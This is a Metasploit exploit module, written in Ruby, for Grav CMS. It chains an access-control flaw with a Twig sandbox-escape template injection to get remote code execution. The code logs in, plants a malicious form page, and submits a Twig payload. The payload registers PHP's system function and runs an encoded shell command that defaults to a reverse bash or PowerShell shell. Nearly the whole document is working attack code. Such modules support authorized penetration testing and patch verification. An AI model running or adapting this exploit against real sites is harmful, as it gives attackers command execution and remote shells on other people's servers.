📄 Grav CMS Twig SSTI Authenticated Sandbox Bypass Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Grav CMS Twig SSTI Authenticated Sandbox Bypass RCE',
            'Description' => %q{
              This module exploits a Server-Side Template Injection (SSTI)
              vulnerability (CVE-2025-66294) in Grav CMS that allows bypassing the
              Twig sandbox to achieve remote code execution. The cleanDangerousTwig
              method uses weak regex that fails to sanitize nested Twig calls within
              the evaluate_twig function. To inject the payload, this module leverages
              CVE-2025-66301, a broken access control flaw that allows users with page
              editing privileges to modify the form's YAML frontmatter process section.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Tarek Nakkouch'
            ],
            'References' => [
              ['CVE', '2025-66294'],
              ['URL', 'https://github.com/advisories/GHSA-662m-56v4-3r8f'],
              ['CVE', '2025-66301'],
              ['URL', 'https://github.com/advisories/GHSA-v8x2-fjv7-8hjh']
            ],
            'DisclosureDate' => '2025-12-01',
            'Platform' => ['unix', 'linux', 'win'],
            'Arch' => ARCH_CMD,
            'Privileged' => false,
            'Targets' => [
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd,
                  'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options(
          [
            Opt::RPORT(80),
            OptString.new('TARGETURI', [true, 'Base path to Grav CMS', '/']),
            OptString.new('USERNAME', [true, 'Grav CMS username']),
            OptString.new('PASSWORD', [true, 'Grav CMS password']),
            OptString.new('FORM_NAME', [false, 'Form page name', "form-#{Rex::Text.rand_text_alpha(8).downcase}"])
          ]
        )
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin'),
          'keep_cookies' => true
        )
        return CheckCode::Unknown('Connection failed') unless res
    
        html = res.get_html_document
        return CheckCode::Unknown('Could not parse HTML') unless html
    
        # First, verify this is a Grav installation
        return CheckCode::Safe('Target does not appear to be a Grav installation') unless grav_installation?(html)
    
        # Then verify we have access to the login form
        return CheckCode::Detected('Grav detected but login form not accessible') unless login_form_present?(html)
    
        version_str = get_version_after_login
        unless version_str
          return CheckCode::Detected('Grav CMS detected but version could not be determined')
        end
    
        version = Rex::Version.new(version_str.gsub('-', '.'))
    
        if version < Rex::Version.new('1.8.0.beta.27')
          return CheckCode::Appears("Grav CMS #{version_str} is vulnerable")
        end
    
        CheckCode::Safe("Grav CMS #{version_str} is patched")
      rescue ArgumentError
        CheckCode::Detected("Grav CMS detected, version parsing failed: #{version_str}")
      rescue ::Rex::ConnectionError
        CheckCode::Unknown('Connection failed')
      end
    
      def exploit
        @form_folder = datastore['FORM_NAME']
        @form_name = "exploit-#{Rex::Text.rand_text_alpha(8).downcase}"
    
        login
        fetch_admin_nonce
        create_form_page
        save_form_with_payload
        fetch_frontend_nonces
        execute_payload
      end
    
      private
    
      def grav_installation?(html)
        # Check for Grav-specific data attributes
        grav_checks = [
          html.at('//*[@data-gpm-grav]'),
          html.at('//*[@data-grav-field]'),
          html.at('//*[@data-grav-disabled]'),
          html.at('//*[@data-grav-default]')
        ]
    
        grav_checks.count { |elem| !elem.nil? } >= 2
      end
    
      def login_form_present?(html)
        # Check for the specific login form inputs we need
        username_input = html.at('input[@name="data[username]"]')
        password_input = html.at('input[@name="data[password]"]')
    
        username_input && password_input
      end
    
      def get_version_after_login
        result = authenticate
        return nil unless result == :success || result == :already_authenticated
    
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin'),
          'keep_cookies' => true
        )
        return nil unless res && res.code == 200
    
        html = res.get_html_document
        return nil unless html
    
        version_elem = html.at('span.grav-version')
        return nil unless version_elem
    
        version_elem.text.strip
      end
    
      def authenticate
        res = send_request_cgi!(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin'),
          'keep_cookies' => true
        )
        return :connection_failed unless res
    
        html = res.get_html_document
        return :connection_failed unless html
    
        nonce = html.at('input[@name="login-nonce"]/@value')
        return :already_authenticated if nonce.nil? && html.at('span.grav-version')
        return :connection_failed unless nonce
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'admin'),
          'keep_cookies' => true,
          'vars_post' => {
            'data[username]' => datastore['USERNAME'],
            'data[password]' => datastore['PASSWORD'],
            'task' => 'login',
            'login-nonce' => nonce.text
          }
        )
        return :connection_failed unless res
        return :login_failed unless [302, 303].include?(res.code)
    
        :success
      end
    
      def login
        print_status('Authenticating...')
        result = authenticate
        case result
        when :already_authenticated
          print_good('Already authenticated')
        when :success
          print_good('Login successful')
        when :connection_failed
          fail_with(Failure::Unreachable, 'Connection failed')
        when :login_failed
          fail_with(Failure::NoAccess, 'Login failed')
        else
          fail_with(Failure::UnexpectedReply, 'Unexpected authentication error')
        end
      end
    
      def fetch_admin_nonce
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'admin', 'pages'),
          'keep_cookies' => true
        )
        fail_with(Failure::Unreachable, 'Connection failed') unless res
        fail_with(Failure::UnexpectedReply, "Unexpected response: #{res.code}") unless res.code == 200
    
        html = res.get_html_document
        fail_with(Failure::UnexpectedReply, 'Could not parse admin page') unless html
    
        nonce = html.at('input[@name="admin-nonce"]/@value')
        fail_with(Failure::UnexpectedReply, 'Could not extract admin nonce') unless nonce
    
        @admin_nonce = nonce.text
      end
    
      def create_form_page
        print_status('Creating malicious form page...')
        res = send_request_cgi!(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'admin', 'pages'),
          'keep_cookies' => true,
          'vars_post' => {
            'data[title]' => 'Contact Form',
            'data[folder]' => @form_folder,
            'data[route]' => '',
            'data[name]' => 'form',
            'data[visible]' => '',
            'data[blueprint]' => '',
            'task' => 'continue',
            'admin-nonce' => @admin_nonce
          }
        )
        fail_with(Failure::Unreachable, 'Connection failed') unless res
    
        html = res.get_html_document
        fail_with(Failure::UnexpectedReply, 'Could not parse form page') unless html
    
        form_nonce = html.at('input[@name="form-nonce"]/@value')
        unique_id = html.at('input[@name="__unique_form_id__"]/@value')
        fail_with(Failure::UnexpectedReply, 'Could not extract form nonces') unless form_nonce && unique_id
    
        @form_nonce = form_nonce.text
        @unique_form_id = unique_id.text
      end
    
      def save_form_with_payload
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'admin', 'pages', @form_folder, ':add'),
          'keep_cookies' => true,
          'vars_post' => {
            'task' => 'save',
            'data[header][title]' => 'Contact Form',
            'data[content]' => 'Please submit the form',
            'data[folder]' => @form_folder,
            'data[route]' => '',
            'data[name]' => 'form',
            'data[_json][header][form]' => form_payload_json,
            '_post_entries_save' => 'edit',
            '__form-name__' => 'flex-pages',
            '__unique_form_id__' => @unique_form_id,
            'form-nonce' => @form_nonce
          }
        )
        fail_with(Failure::Unreachable, 'Connection failed') unless res
        fail_with(Failure::Unknown, 'Failed to save form') unless [200, 302, 303].include?(res.code)
      end
    
      def form_payload_json
        {
          'name' => @form_name,
          'fields' => { 'name' => { 'type' => 'text', 'label' => 'Name', 'required' => true } },
          'buttons' => { 'submit' => { 'type' => 'submit', 'value' => 'Submit' } },
          'process' => [{ 'message' => "{{ evaluate_twig(form.value('name')) }}" }]
        }.to_json
      end
    
      def fetch_frontend_nonces
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, @form_folder),
          'keep_cookies' => true
        )
        fail_with(Failure::Unreachable, 'Connection failed') unless res
        fail_with(Failure::NotFound, 'Form page not found') unless res.code == 200
    
        html = res.get_html_document
        fail_with(Failure::UnexpectedReply, 'Could not parse frontend form') unless html
    
        form_nonce = html.at('input[@name="form-nonce"]/@value')
        unique_id = html.at('input[@name="__unique_form_id__"]/@value')
        form_name = html.at('input[@name="__form-name__"]/@value')
        fail_with(Failure::UnexpectedReply, 'Could not extract frontend nonces') unless form_nonce && unique_id
    
        @frontend_nonce = form_nonce.text
        @frontend_unique_id = unique_id.text
        @frontend_form_name = form_name&.text || @form_name
      end
    
      def execute_payload
        print_status('Triggering payload execution...')
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, @form_folder),
          'keep_cookies' => true,
          'vars_post' => {
            'data[name]' => twig_payload,
            '__form-name__' => @frontend_form_name,
            '__unique_form_id__' => @frontend_unique_id,
            'form-nonce' => @frontend_nonce
          }
        }, datastore['HttpClientTimeout'])
      end
    
      def twig_payload
        cmd = payload.encoded
    
        twig_prefix = "{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}" \
                      "{% set a = grav.config.set('system.twig.undefined_functions',false) %}" \
                      "{{ grav.twig.twig.getFunction('"
        twig_suffix = "') }}"
    
        case target['Type']
        when :win_cmd
          encoded_cmd = Rex::Text.encode_base64(cmd.encode('UTF-16LE'))
    
          "#{twig_prefix}powershell -enc #{encoded_cmd}#{twig_suffix}"
    
        else
          begin
            require 'zlib'
          rescue LoadError => e
            fail_with(Failure::Unknown, "Failed to load zlib: #{e.message}")
          end
          compressed = compress_deflate(cmd)
    
          # Strip newlines from base64 to avoid breaking Twig syntax
          encoded_cmd = Rex::Text.encode_base64(compressed, '')
    
          "#{twig_prefix}php -r \"echo gzinflate(base64_decode(\\'#{encoded_cmd}\\'));\" | sh#{twig_suffix}"
        end
      end
    
      def compress_deflate(data)
        deflater = Zlib::Deflate.new(Zlib::BEST_COMPRESSION, -Zlib::MAX_WBITS)
        compressed = deflater.deflate(data, Zlib::FINISH)
        deflater.close
        compressed
      end
    end